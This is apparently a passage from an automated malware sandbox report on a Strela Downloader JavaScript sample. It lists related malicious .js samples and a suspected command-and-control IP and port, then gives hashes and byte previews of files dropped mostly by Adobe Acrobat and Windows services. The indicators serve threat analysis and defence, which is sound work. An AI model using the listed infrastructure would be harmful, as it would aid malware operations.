	16981299741734811290.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	21905169581426428153.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	11804174121566513871.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	340651472865228929.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	21092429235262508.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	27458284801797225280.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1957514819973625739.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	32600206981428831400.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	240815025266174071.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	17231147702223410654.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2640024673100216355.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.3073592146267485
Encrypted:	false
SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvrz:KooCEYhgYEL0In
MD5:	2FFD02E630398963B8481E82E1F58B2B
SHA1:	BC943CBD44E440D2B0B90382503BB67F6F74680E
SHA-256:	7C91A3E54B85B2445A93E35213875A30BEA19B31F2066184FEB58DC93808D764
SHA-512:	6A82C6F076B4EE4B578E20064633309D8C69CC3D5C81E463B367F72E66A7A26D7CCE8D9B21CAD25B3BF2C24A2E6C8CD390BEBF52E5C7091870725FD028AE58BE
Malicious:	false
Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x1ef61bb1, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.42212550084552486
Encrypted:	false
SSDEEP:	1536:xSB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1kI6:xaza/vMUM2Uvz7DO
MD5:	71B2B54CE5DF9683BABC048F063BA0CA
SHA1:	9702C6A9D035D1BFC29CF1282035BC623097ABC1
SHA-256:	84C9C55A43675BCA9A0F1D7FF7F749CB824ACBDA2E3BC8B57D9D1D74D4D8ADC2
SHA-512:	801E720999E7B7D46473CCB3BCCFB8309FE7212891014652C03297E77122DD2FB563E7BC15AFAF677F3DA6D9F6D34504280C43409E2B4B8490D32B0138E526E4
Malicious:	false
Preview:	....... .......A.......X\...;...{......................0.!..........{A......}k.h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{..................................K........}....................rB.....}k..........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07673983244453877
Encrypted:	false
SSDEEP:	3:3XlKYeBUIauajn13a/KGyJI//lallcVO/lnlZMxZNQl:31KzB3aua53qKGFXAOewk
MD5:	AB7ABEF292BD2035DFAE20197B81008A
SHA1:	7E8E7D7333663D0BF590146BEF285E9AE1F25574
SHA-256:	195161318E5FCF6D6CC555D5772A3BA86745252495AB589BCD84C28161C77E86
SHA-512:	89A37A50A328286DFA9002E144DD05173FC1D5CEDAE462D2DD7FE590F39B240040314271E5C45A8C14EA75B3496EE89115887B0E9543E4BBD44C7D7534908A04
Malicious:	false
Preview:	1..@.....................................;...{.......}k......{A..............{A......{A..........{A]..................rB.....}k.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.192018539929626
Encrypted:	false
SSDEEP:	6:iO4PfU43O+q2Pwkn2nKuAl9OmbnIFUtSPfU43BZZmwsPfU43pVkwOwkn2nKuAl91:7oXvvYfHAahFUt2XxZ/8Xn5JfHAaSJ
MD5:	8135696C2B21B0404E5E91C625F9AE7C
SHA1:	12E64687D4E311F4E1F8D4C15B3B3D6B51FEF867
SHA-256:	1F5896A3982D1BDDD1DF21850DDEF77E9BEEDD984123E2D615FC272BEB43CA05
SHA-512:	E7EEED8D20D210831D9E9CDBAE068A28BB531E94A70CB1B3CA87C724A6AB73645ECF56C0114615BD0266C0796132FC26D29422FF6946A2982730ADAD07317B20
Malicious:	false
Preview:	2025/01/10-18:04:17.442 1c58 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-18:04:17.445 1c58 Recovering log #3.2025/01/10-18:04:17.447 1c58 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.192018539929626
Encrypted:	false
SSDEEP:	6:iO4PfU43O+q2Pwkn2nKuAl9OmbnIFUtSPfU43BZZmwsPfU43pVkwOwkn2nKuAl91:7oXvvYfHAahFUt2XxZ/8Xn5JfHAaSJ
MD5:	8135696C2B21B0404E5E91C625F9AE7C
SHA1:	12E64687D4E311F4E1F8D4C15B3B3D6B51FEF867
SHA-256:	1F5896A3982D1BDDD1DF21850DDEF77E9BEEDD984123E2D615FC272BEB43CA05
SHA-512:	E7EEED8D20D210831D9E9CDBAE068A28BB531E94A70CB1B3CA87C724A6AB73645ECF56C0114615BD0266C0796132FC26D29422FF6946A2982730ADAD07317B20
Malicious:	false
Preview:	2025/01/10-18:04:17.442 1c58 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-18:04:17.445 1c58 Recovering log #3.2025/01/10-18:04:17.447 1c58 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.17837006359658
Encrypted:	false
SSDEEP:	6:iO4PfU4KFD4q2Pwkn2nKuAl9Ombzo2jMGIFUtSPfU4b3JZmwsPfU4MFDDkwOwknV:7oXKFD4vYfHAa8uFUt2Xb3J/8XcD5Jfg
MD5:	CAB3E4634984A0F26EC36AA9C22110F4
SHA1:	4C226AE26EE99E240DAE6E4C09252EA7B5EDC6B8
SHA-256:	A8E14A1A768CF6BD31135BE318BC116A30429061B5FD7558D4F448EDD97DDA75
SHA-512:	D790A7FBFE0C37C3CB9A7FAD8AFCDFDF308A79A5ECD9D5010BD2FC4FBC169B89002E12E0BD2D43D5421B8E3BAEF93942D907B5C5030EDA3E7A1B24D838A0A997
Malicious:	false
Preview:	2025/01/10-18:04:17.533 1cb4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-18:04:17.534 1cb4 Recovering log #3.2025/01/10-18:04:17.535 1cb4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.17837006359658
Encrypted:	false
SSDEEP:	6:iO4PfU4KFD4q2Pwkn2nKuAl9Ombzo2jMGIFUtSPfU4b3JZmwsPfU4MFDDkwOwknV:7oXKFD4vYfHAa8uFUt2Xb3J/8XcD5Jfg
MD5:	CAB3E4634984A0F26EC36AA9C22110F4
SHA1:	4C226AE26EE99E240DAE6E4C09252EA7B5EDC6B8
SHA-256:	A8E14A1A768CF6BD31135BE318BC116A30429061B5FD7558D4F448EDD97DDA75
SHA-512:	D790A7FBFE0C37C3CB9A7FAD8AFCDFDF308A79A5ECD9D5010BD2FC4FBC169B89002E12E0BD2D43D5421B8E3BAEF93942D907B5C5030EDA3E7A1B24D838A0A997
Malicious:	false
Preview:	2025/01/10-18:04:17.533 1cb4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-18:04:17.534 1cb4 Recovering log #3.2025/01/10-18:04:17.535 1cb4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\7c24e93e-4379-4f3f-b11b-d11345d661f1.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.967540555920361
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqI6hsBdOg2Htcaq3QYiubInP7E4T3y:Y2sRds/dMHc3QYhbG7nby
MD5:	C9EF0AEB0B3DEFD9174A28DEA3E22840
SHA1:	30E054199680D21488711FD0E8FF22F6448E0B52
SHA-256:	04C701C77ACF83390F2F226F44B47EA001D57956811C7FD23EAF0A2EC4622F7D
SHA-512:	FE5D6FE85AFC66D429EDC3B505B94E5AF09F740475FD8E42DA8C4529968E9A5FC733406D55D55DDD2931D647F9E2AC704076F2591303B0D46A0A6D5A4B51AF13
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381110269975874","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":139129},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.967540555920361
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqI6hsBdOg2Htcaq3QYiubInP7E4T3y:Y2sRds/dMHc3QYhbG7nby
MD5:	C9EF0AEB0B3DEFD9174A28DEA3E22840
SHA1:	30E054199680D21488711FD0E8FF22F6448E0B52
SHA-256:	04C701C77ACF83390F2F226F44B47EA001D57956811C7FD23EAF0A2EC4622F7D
SHA-512:	FE5D6FE85AFC66D429EDC3B505B94E5AF09F740475FD8E42DA8C4529968E9A5FC733406D55D55DDD2931D647F9E2AC704076F2591303B0D46A0A6D5A4B51AF13
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381110269975874","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":139129},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4320
Entropy (8bit):	5.25637338939377
Encrypted:	false
SSDEEP:	96:etJCV4FAsszrNamjTN/2rjYMta02fDtehgO7BtTgo7ODHSv6:etJCV4FiN/jTN/2r8Mta02fEhgO73goM
MD5:	C66D28BA77A5EA594AB77A0A600A229E
SHA1:	E797427C79F0F03B52C61C61E5FC6FBD5BB8B543
SHA-256:	F80EF05C3E4ECD9D6972F9ACB8ABC83762ED078A0B4B8E415ABED91B30BBA6E9
SHA-512:	B41A2985B31ED35373B15E69AE28E24CDF809268F195850C383BACD39A954D86A0F01964CD6AC701DE3257849437B5AC5460E85FD48CBB4AF17E8FC3F26947A9
Malicious:	false
Preview:	*...#................version.1..namespace-['O.o................next-map-id.1.Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/.0>...r................next-map-id.2.Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/.1O..r................next-map-id.3.Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/.2.\.o................next-map-id.4.Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/.3....^...............Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/..\|.^...............Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/n..Fa...............Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/DQ..a...............Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/i.`do................next-map-id.5.Pnamespace-de635bf2_6773_4d83_ad16_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.17986989355707
Encrypted:	false
SSDEEP:	6:iO4PfU4sL34q2Pwkn2nKuAl9OmbzNMxIFUtSPfU4HUWJZmwsPfU4jGrDkwOwkn2v:7oXS34vYfHAa8jFUt2XHUWJ/8XjWD5JH
MD5:	7A417B98BFE86E58641AAAA8C53AF984
SHA1:	36221769FD2DC3526D56BF682B0939242C16DD22
SHA-256:	A1DD9BE71BD3C6C3121FF2E9D5243362FCA7BFF25E5C1B2D375205AE2C7648AB
SHA-512:	B9AF043068D5F81D425EAE6ED37AEB0133DDA5F7305CB45653F2CCA93725936F2446D3E944B478B7AF12B8DCF563F7093F315FA2C08642CBE1C497B1A0BB4971
Malicious:	false
Preview:	2025/01/10-18:04:17.874 1cb4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-18:04:17.901 1cb4 Recovering log #3.2025/01/10-18:04:17.920 1cb4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.17986989355707
Encrypted:	false
SSDEEP:	6:iO4PfU4sL34q2Pwkn2nKuAl9OmbzNMxIFUtSPfU4HUWJZmwsPfU4jGrDkwOwkn2v:7oXS34vYfHAa8jFUt2XHUWJ/8XjWD5JH
MD5:	7A417B98BFE86E58641AAAA8C53AF984
SHA1:	36221769FD2DC3526D56BF682B0939242C16DD22
SHA-256:	A1DD9BE71BD3C6C3121FF2E9D5243362FCA7BFF25E5C1B2D375205AE2C7648AB
SHA-512:	B9AF043068D5F81D425EAE6ED37AEB0133DDA5F7305CB45653F2CCA93725936F2446D3E944B478B7AF12B8DCF563F7093F315FA2C08642CBE1C497B1A0BB4971
Malicious:	false
Preview:	2025/01/10-18:04:17.874 1cb4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-18:04:17.901 1cb4 Recovering log #3.2025/01/10-18:04:17.920 1cb4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 17, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 17
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.444957592617074
Encrypted:	false
SSDEEP:	384:SeUci5tciBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:07s3OazzU89UTTgUL
MD5:	4B4576BDE482C2BE19D00BBF4FB3BEDC
SHA1:	FF7AE35102136B4D66BCA5D095E89F301F9A2F24
SHA-256:	16ED5FF8761FCBB6D1A259353DC6D4104162B49CB0EEDDB9B0C9D876278ED130
SHA-512:	A811A81B8DB8CDE297399D15AF15611E9E3B9C0614B3EE91D305BABDB753AB8DF607E60AB5D6DE57E991D591439B7D70B2F1455D81000686A7684E3DCAD9A32B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	2.2148867552849696
Encrypted:	false
SSDEEP:	24:7+tlznuwKX6qLrzkrFsgIFsxX3pALXmnHpkDGjmcxBSkomXk+2m9RFTsyg+wmf9b:7MJnCqqvmFTIF3XmHjBoGGR+jMz+Lhd
MD5:	5D2D4C18D5859C9153D7E65BB68EAA75
SHA1:	A1AD0A44A0B6166A8DE9805AFADB0B05DD323404
SHA-256:	C9D3428C61E245C4944582F0BD4071E46032F157197E717F73F4D6D26E4C3C88
SHA-512:	3F7AA13495722B3E3238D44D1D9A182755859CBD0CF3AB40FE6D84B38A6EEC08840170022C5638A6B8DB2D9DF0019A2EFD6AEAA13AF61BBFB9CA02C4E474C732
Malicious:	false
Preview:	.... .c........W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.706633424972957
Encrypted:	false
SSDEEP:	3:kkFklDAe/ltfllXlE/HT8ktBNNX8RolJuRdxLlGB9lQRYwpDdt:kKLeteT8k/NMa8RdWBwRd
MD5:	84A87EAB94DA0F64ED01D334C0F2844B
SHA1:	A5EC8FDEBE72DC663D4A3739E25C772D669A679F
SHA-256:	A00155E162F63C72EC053D7A7249E6FECF7009C417F1903C1C1F70A15358241F
SHA-512:	5A7E7E29CA41FCDF80079C44CB0B204A2939B7036E664AFB17473F3CE37AF562567A238763F6A9BE05526DDB2F5B5836A0BAF491C2120CA82F336419827CA184
Malicious:	false
Preview:	p...... ........p%-..c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.242990426783058
Encrypted:	false
SSDEEP:	6:kKH2gptL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:fRiDImsLNkPlE99SNxAhUe/3
MD5:	390F50635154F0155CFFA24CA770D10A
SHA1:	997B390C71E0FDE8AE35A697F6F76FBADB2398DC
SHA-256:	E7925105381E4ED1383883506986B5FF7712751F64BEFB7A7012F49A005BD5AC
SHA-512:	AE9C10A488CD41EB092CE353F4F50CF7F36A574974E54F752A6255FA7BBAA15B4ED28BF16476488D06441CC669D957D626385877E58CA65D6E5257F73F99BEB5
Malicious:	false
Preview:	p...... ..........j..c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7048

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
